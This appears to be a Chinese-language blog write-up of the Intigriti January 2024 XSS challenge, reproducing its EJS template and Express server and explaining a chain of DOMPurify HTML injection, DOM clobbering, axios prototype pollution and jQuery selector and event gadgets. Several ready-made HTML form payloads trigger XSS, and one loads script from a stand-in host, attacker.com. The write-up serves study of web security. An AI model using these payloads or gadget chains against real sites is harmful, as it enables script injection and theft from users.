前言 好久没做做xss了,当然与其说做,其实也就是看看大佬咋打的,思路如何产生,见识更多的打法,个人感觉xss的打法挺有美感的hh,怪不得老外这么喜欢
这里看一道题,详见
解法很多人写了,都可以看看
学习 这道题是有附件的:https://challenge-0124.intigriti.io/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <%- include("inc/header" ); %> <h2>Hey <%- name %>,<br>Which repo are you looking for ?</h2> <form id="search" > <input name="q" value="<%= search %>" > </form> <hr> <img src="/static/img/loading.gif" class="loading" width="50px" hidden><br> <img class="avatar" width="35%" > <p id="description" ></p> <iframe id="homepage" hidden></iframe> <script src="/static/js/axios.min.js" ></script> <script src="/static/js/jquery-3.7.1.min.js" ></script> <script> function search (name) { $("img.loading" ).attr("hidden" , false ); axios.post("/search" , $("#search" ).get(0 ), { "headers" : { "Content-Type" : "application/json" } }).then((d) => { $("img.loading" ).attr("hidden" , true ); const repo = d.data; if (!repo.owner) { alert("Not found!" ); return ; }; $("img.avatar" ).attr("src" , repo.owner.avatar_url); $("#description" ).text(repo.description); if (repo.homepage && repo.homepage.startsWith("https://" )) { $("#homepage" ).attr({ "src" : repo.homepage, "hidden" : false }); }; }); }; window.onload = () => { const params = new URLSearchParams (location.search); if (params.get("search" )) search(); $("#search" ).submit((e) => { e.preventDefault(); search(); }); }; </script> </body> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 const createDOMPurify = require("dompurify" );const repos = require("./repos.json" );const { JSDOM } = require("jsdom" ); const express = require("express" );const path = require("path" );const app = express();app.set("view engine" , "ejs" ); app.set('view cache' , false ); app.use(express.json()); const PORT = 3000 ;const window = new JSDOM ("" ).window;const DOMPurify = createDOMPurify(window);app.use("/static" , express.static (path.join(__dirname, "static" ))); app.get("/" , (req, res) => { if (!req.query.name) { res.render("index" ); return ; } res.render("search" , { name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }), search: req.query.search }); }); app.post("/search" , (req, res) => { name = req.body.q; repo = {}; for (let item of repos.items) { if (item.full_name && item.full_name.includes(name)) { repo = item break ; } } res.json(repo); }); app.listen(PORT, () => { console.log(`App listening on port ${PORT}!`) });
这里对两个第三方库留个心眼,这里有供应链漏洞(类似的洞的poc可以去github上翻,总结下来不少)
先进行我们的一层的理解~`DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false })`
以前学过xss突变,但是感觉实际能考这个的比较少,这里用DOMPurify.sanitize+SANITIZE_DOM: false=> DOMPurify 将不再拦截所有会更改 DOM 结构对象属性的危险标签属性
这里我们就要意思到可html注入打“DOM Clobbering” ——一种通过 HTML 标签属性覆盖 Document 或元素属性的攻击方式。
举个例子,当我们简单<img name="body">=>document.body 被替换成这个 image 元素
也就是说出题人留了这么一个html注入的口子
axios axios这个第三方库干什么呢?
1 2 3 Axios 是一个基于 promise 的 HTTP 库,可以用在浏览器和 node.js 中 axios的作用是什么呢? axios主要是用于向后台发起请求的,还有在请求中做更多是可控功能。
这个第三方库会从一个 <form> DOM 元素读取 input name & value,然后拼出一个 JSON 对象。
因为开发者不想再手写:
1 2 3 4 { username: document.querySelector("input[name=username]").value, password: document.querySelector("input[name=password]").value }
Axios 想帮你自动完成:
把 HTML Form → JSON Body 的过程自动化。
而这种表单=>json格式,如果不加以过滤的话,会产生原型链污染~
这里有个小demo
1 2 3 4 5 6 7 8 9 10 <form id="f" > <input name="__proto__[polluted]" value="1" > </form> <script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.6.3/axios.js" ></script> <script> axios.formToJSON(document.getElementById("f" )); alert(({}).polluted); </script>
而且
1 2 3 axios.post("/search" , $("#search" ).get(0 ), { "headers" : { "Content-Type" : "application/json" } }).then((d) =>
这里不经思考axios的baseurl是什么呢?
(e=qe(this.defaults,e)).baseURL,e.url),e.截取一截,确实存在
这里可以html注入->原型链污染->控制serach的返回结果
1 2 3 <form id="search" > <input name="__proto__.baseURL" value="data:,{}#" > </form>
为什么用search包裹呢?
1 2 3 4 $("#search" ).submit((e) => { e.preventDefault(); search(); });
这里直接控制了返回结果!
jquery jQuery是JavaScript的一个工具库,工具库就是指封装好的JavaScript函数,可以直接在程序中进行调用,那jQuery就是一款非常流行的JavaScript库。jQuery设计的宗旨是“写更少的代码,做更多的事情”。
jQuery库封装了JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $("img.loading" ).attr("hidden" , true ); const repo = d.data;if (!repo.owner) { alert("Not found!" ); return ; }; $("img.avatar" ).attr("src" , repo.owner.avatar_url); $("#description" ).text(repo.description); if (repo.homepage && repo.homepage.startsWith("https://" )) { $("#homepage" ).attr({ "src" : repo.homepage, "hidden" : false }); };
jQuery 核心 API : <font style="color:rgb(0, 0, 0);">$()</font>(元素选择)、 <font style="color:rgb(0, 0, 0);">attr()</font>(属性操作)、 <font style="color:rgb(0, 0, 0);">text()</font>(文本操作),是前端开发中 “操作 DOM” 的经典用法。
这里提供了一个如下功能
1 2 3 4 5 将 “加载中” 图片的hidden属性设为true ,隐藏该图片(表示加载完成或无需显示)。 确保repo数据的完整性,若关键的owner信息缺失,直接提示并退出,避免后续代码报错。 从repo.owner中提取头像 URL(avatar_url),将其赋值给头像图片的src属性,实现头像加载。 将repo中的描述信息(description)填充到页面的描述区域。 安全校验链接后,将官网地址赋值给目标元素并显示,避免无效或不安全链接加载。
我们如果可以控制search的结果自然可以返回一个恶意构造的json格式
关键还是在$("img.avatar").attr("src", repo.owner.avatar_url);
我们构造data:,{"owner":{"avatar_url":"javascript:alert(1)"}}#
这样似乎能触发javascript伪协议?并非,这里只是img
所以还是要借助jquery的供应链漏洞~
打法 1 2 3 4 5 <img name="namespaceURI" > 成功Clobbing document.namespaceURI = <img element> 导致 jQuery 误以为: “这是一个 XML 文档,不是 HTML。”
然后该库会进行如下操作
1 2 3 4 5 6 7 于是它不走 optimized 查找流程,而会走: ✔ jQuery.select() → 可被污染 ✔ 使用 tokenized selector → 可被 cache 覆盖 ✔ relative matcher → 可劫持 这是整题最关键的触发器。
攻击目标:让任何 selector 匹配我们想让它匹配的元素(iframe)。
因为 iframe 支持 js: 协议,所以是最终 XSS 的必经之路。
为了做到:$("img.avatar") → 返回 iframe,需进行下述污染
1 2 3 4 5 6 7 8 9 10 11 __proto__["TAG" ][dir] = "ownerDocument" __proto__["TAG" ][next] = "parentNode" __proto__["CLASS" ][dir] = "nextSibling" __proto__["CLASS" ][first] = "true" 让所有 selector 都“相对匹配” 所有节点都会被遍历 matcher 被 forced 触发 最终 selector 匹配 所有元素 然后: $("img.avatar" ) 返回所有元素,包括 iframe
这里$("img.avatar").attr("src", repo.owner.avatar_url);知道.attr类似element.setAttribute("src", value)
即设置了iframe.src我们知道这里是可以触发伪协议的~
总览 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 HTML Injection ↓ DOM Clobbering (namespaceURI) ↓ Axios Prototype Pollution (__proto__.baseURL) ↓ Control Axios response via data:, JSON ↓ Pollute jQuery selector system ↓ Make $("img.avatar" ) match iframe ↓ iframe.src = "javascript:alert(1)" ↓ XSS
很建议大家看看wp,更细节的讲了一下供应链洞咋来的
而且这道题也有如下打法-原型链污染一出,一堆打法hh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <form id=search> <input name="__proto__.owner" value="x" > <input name="__proto__.homepage" value="https://attacker.com/xss.js" > </form> <form id="search" > <input name="__proto__.[srcdoc]" value="<script>alert(parent.window.location.origin)</script>" > <input name="__proto__.[srcdoc]" value="" > <input name="__proto__.homepage" value="https://example.com" > <input name="__proto__.owner.avatar_url" value="true" > </form> <form id="search" > <input name="q" value="siege-media/contrast-ratio" > <input type="text" name="__proto__.srcdoc=test" value="test" /> <input type="text" name="__proto__.srcdoc" value="<script>alert(1)</script>" /> </form> <svg> <image id=homepage> </svg> <form id=search> <input name=__proto__.owner value=polluted> <input name=__proto__.homepage value=https: <input name=__proto__.href value=x> <input name=__proto__.onerror value=alert(origin)> </form> <form id="search" > <input name="q" value="angular/material-start" > <input name="__proto__.ONLOAD" value="alert()" /> </form>
最值得关注的是这个
1 2 3 4 5 6 7 8 9 10 <form id="search" > <input name="__proto__.needsContext" value="x" id="y" /> <input name="__proto__.selector[]" value="<img/src/onerror=alert(document.domain)>" /> <input name="__proto__.handler[]" value="" /> <input name="__proto__.delegateType" value="focus" /> <input name="__proto__.owner" value="x" /> </form>
发现了一个 全新的 jQuery Prototype Pollution Gadget
1 2 3 4 5 6 7 8 9 10 污染 jQuery 的 event handler 内部结构 → 控制 handleObj.selector → 让 jQuery 在内部调用 jQuery(sel) 时把 sel 当作 HTML 解析 → 触发 innerHTML sink → XSS。 这条链和另外两条完全不一样——它利用的是: jQuery event system(事件系统) jQuery.handler / handleObj 结构 jQuery 的内部 selector→parseHTML→innerHTML 机制 For..in + Prototype Pollution NeedsContext 判断绕过 Array.toString() → 自动拼出 HTML 字符串 这是一个 Pure JavaScript Gadget Chain。 攻击点不依赖 iframe、不依赖 src 或 srcdoc,也不依赖 attr()。
这里不做分析了,总结如下
1 2 3 一句话高度总结 @joaxcar 的打法 污染 jQuery 的事件系统,控制内部 selector,使 jQuery 在内部对 HTML 字符串执行 parseHTML,从而通过 innerHTML sink 触发 XSS。 这是一个真正的 Prototype Pollution → jQuery Gadget → XSS 漏洞链。
这些师傅各个都是xss高手啊xm
结语 真的很优雅,是我打不出来的操作()
这里推荐一些供应链安全的仓库